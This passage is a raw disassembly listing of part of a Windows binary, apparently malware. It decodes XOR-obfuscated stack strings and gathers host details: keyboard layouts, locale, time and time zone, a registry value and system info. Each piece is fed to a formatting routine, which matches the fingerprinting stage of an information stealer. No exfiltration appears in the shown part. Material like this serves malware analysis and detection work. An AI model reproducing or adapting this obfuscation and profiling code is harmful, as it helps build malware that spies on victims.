mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x1b00]
movaps xmmword [ebp - 0x120], xmm1
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x130]
push eax
movaps xmmword [ebp - 0x110], xmm1
lea eax, [ebp - 0x120]
jmp 0x4e28c2
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x18], 0x1ad5f3aa
mov dword [ebp - 0x14], 0x71bf278b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x18], 0xb71a499d
mov dword [ebp - 0x14], 0xb7a0a872
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x18], 0xae734b86
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x530]
xorps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x128], eax
movaps xmmword [ebp - 0x530], xmm1
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0x520], xmm1
mov dword [ebp - 0x18], 0xdf9b90b0
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x360], xmm1
lea eax, [ebp - 0x360]
push eax
push edi
call fcn.00403350
mov dword [ebp - 0x18], 0xbde286de
add esp, 0xc
mov dword [ebp - 0x14], 0x9d329bb4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0x13dadec6
mov dword [ebp - 0x14], 0x73b93399
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0xf9751ac2
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x130], xmm1
mov dword [ebp - 0x18], 0xdf9b90b0
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
movaps xmm1, xmmword [ebp - 0x370]
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x370], xmm1
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0x1300]
push 0x200
push 0
push eax
call fcn.004359b0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0xc
push 0
push 0
call esi
mov dword [ebp - 0xb4], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x4e2cb6
push eax
push dword [ebp - 0xb4]
call esi
xor esi, esi
mov dword [ebp - 0xb4], eax
test eax, eax
je 0x4e2caa
push 0x200
lea eax, [ebp - 0x1300]
push eax
mov eax, dword [ebp - 0xc4]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x4e2bb7
mov dword [ebp - 0x18], 0xdf9b90b0
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0xa8], 0x7dbb92e6
mov dword [ebp - 0xa4], 0x14d846fe
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0xc0], 0xdf9be395
mov dword [ebp - 0xbc], 0xf940fadb
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xd0], 0x7dbb92e6
mov dword [ebp - 0xcc], 0x14d846fe
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0xcc]
movaps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x380], xmm1
lea eax, [ebp - 0x380]
jmp 0x4e2c7d
mov dword [ebp - 0xb0], 0xfabbccb5
mov dword [ebp - 0xac], 0xf940faa8
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0xa0], 0x7dbb92e6
mov dword [ebp - 0x9c], 0x14d846fe
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x98], 0xdf9be395
mov dword [ebp - 0x94], 0xf940fadb
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1ec], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x390]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x1e4], ecx
xorps xmm1, xmmword [ebp - 0x1f0]
push eax
movaps xmmword [ebp - 0x390], xmm1
lea eax, [ebp - 0x390]
push eax
push edi
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0x1300]
push 0x200
push 0
push eax
call fcn.004359b0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0xb4]
jb 0x4e2ad4
push dword [ebp - 0xc4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x260]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x260], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [ebp - 0x20], 0xb0d7e998
mov dword [ebp - 0x1c], 0xd92c9bb8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x20], 0x18d6fbb2
mov dword [ebp - 0x1c], 0x70fd66c4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x20], 0xf62b4c88
mov dword [ebp - 0x1c], 0xe5efa23c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x20], 0xca5c7c8c
mov dword [ebp - 0x1c], 0x84a57e46
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x20], 0xe52d17e3
mov dword [ebp - 0x1c], 0x7eadd2b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], ecx
mov dword [ebp - 0x20], 0xd5d93a8a
mov dword [ebp - 0x1c], 0x19127bfa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x20], 0xe52d17e9
mov dword [ebp - 0x1c], 0x7eadd2b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x20], 0xd5d93a8a
mov dword [ebp - 0x1c], 0x19127bfa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x710]
xorps xmm1, xmmword [ebp - 0x1c0]
movaps xmmword [ebp - 0x710], xmm1
movaps xmm1, xmmword [ebp - 0x700]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
movzx eax, word [ebp - 0x254]
xorps xmm1, xmmword [ebp - 0x1b0]
push eax
movzx eax, word [ebp - 0x256]
push eax
movzx eax, word [ebp - 0x258]
push eax
movzx eax, word [ebp - 0x260]
push eax
movzx eax, word [ebp - 0x25e]
push eax
movzx eax, word [ebp - 0x25a]
push eax
movaps xmmword [ebp - 0x700], xmm1
lea eax, [ebp - 0x710]
movaps xmm1, xmmword [ebp - 0x6f0]
xorps xmm1, xmmword [ebp - 0x1a0]
push eax
push edi
movaps xmmword [ebp - 0x6f0], xmm1
call fcn.00403350
add esp, 0x20
lea eax, [ebp - 0x7e4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x7e4], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0xcc0]
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0xcc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x830]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0xcc0]
push eax
movups xmmword [ebp - 0x830], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm2, dword [ebp - 0xcc0]
mov dword [ebp - 0x20], 0xbaf68ac1
cvtdq2ps xmm2, xmm2
mov dword [ebp - 0x1c], 0x9c2e9581
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
divss xmm2, dword [0x571350]
mov dword [ebp - 0x20], 0x29eeb2dc
mov dword [ebp - 0x1c], 0x19bc63bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x20], 0xd94f69ad
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
xorps xmm2, xmmword [0x571470]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
cvttss2si eax, xmm2
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x590]
xorps xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0x590], xmm1
lea eax, [ebp - 0x590]
movaps xmm1, xmmword [ebp - 0x580]
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x580], xmm1
call fcn.00403350
mov dword [ebp - 0x20], 0x97c0e998
add esp, 0xc
mov dword [ebp - 0x1c], 0x8e2488ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x20], 0x20dee087
mov dword [ebp - 0x1c], 0x14d84cf3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x3a0], xmm1
mov dword [ebp - 0x20], 0xdf9b90b0
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x3b0]
movaps xmmword [ebp - 0x3b0], xmm1
push eax
push edi
call fcn.00403350
mov dword [ebp - 0x148], 0
add esp, 0xc
mov dword [ebp - 0x20], 0x9bc9a2dd
mov dword [ebp - 0x1c], 0xbc12bb8c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x20], 0x2efed6ba
mov dword [ebp - 0x1c], 0x449114bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x20], 0x970020f3
mov dword [ebp - 0x1c], 0xb3b69545
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x20], 0xf214239c
mov dword [ebp - 0x1c], 0xfdaf3e3f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x20], 0xb541769b
mov dword [ebp - 0x1c], 0x1bcebdc5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x20], 0xa7b649f9
mov dword [ebp - 0x1c], 0x19124ba6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xe52d17e9
mov dword [ebp - 0x1c], 0x7eadd2b7
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd5d93a8a
mov dword [ebp - 0x1c], 0x19127bfa
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
movaps xmm1, xmmword [ebp - 0x1c0]
lea eax, [ebp - 0x148]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x1c0], xmm1
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x70]
push eax
push 0x20019
movaps xmmword [ebp - 0x1b0], xmm1
lea eax, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0x1a0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x1a0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e3548
mov dword [ebp - 0x154], 0x20019
mov dword [ebp - 0x264], 0x400
mov dword [ebp - 0x20], 0xbcf491c5
mov dword [ebp - 0x1c], 0x963389be
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x20], 0x10dadc94
mov dword [ebp - 0x1c], 0x66ac159b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0x20], 0xd92807ce
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x2300]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x570]
xorps xmm1, xmmword [ebp - 0x70]
push eax
lea eax, [ebp - 0x154]
movaps xmmword [ebp - 0x570], xmm1
movaps xmm1, xmmword [ebp - 0x560]
push eax
push 0
lea eax, [ebp - 0x570]
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push dword [ebp - 0x148]
movaps xmmword [ebp - 0x560], xmm1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e353c
mov dword [ebp - 0x20], 0xbcf491c5
mov dword [ebp - 0x1c], 0x963389be
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x20], 0x589ba894
mov dword [ebp - 0x1c], 0x14d24b8d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2300]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x3c0]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x3c0], xmm1
call fcn.00403350
add esp, 0xc
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x7e8], 0
lea eax, [ebp - 0x808]
push eax
movups xmmword [ebp - 0x808], xmm0
movups xmmword [ebp - 0x7f8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x20], 0xffceb3d6
mov dword [ebp - 0x1c], 0x97359598
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x20], 0x589ba892
mov dword [ebp - 0x1c], 0x14d24b9a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x3c], ecx
